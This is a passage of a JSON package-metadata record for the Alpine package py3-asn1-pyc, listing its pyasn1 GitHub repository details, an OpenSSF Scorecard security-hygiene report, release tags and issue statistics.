251,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1535},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-08-20T05:05:52.510Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":11764681,"name":"py3-asn1-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-asn1","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_number":"0.6.1-r0","last_synced_at":"2026-08-11T12:23:50.988Z","created_at":"2025-06-07T18:01:14.120Z","updated_at":"2026-08-15T09:21:24.956Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-asn1-pyc","install_command":"apk add py3-asn1-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.956Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1-pyc/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-asn1-pyc/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":493,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja 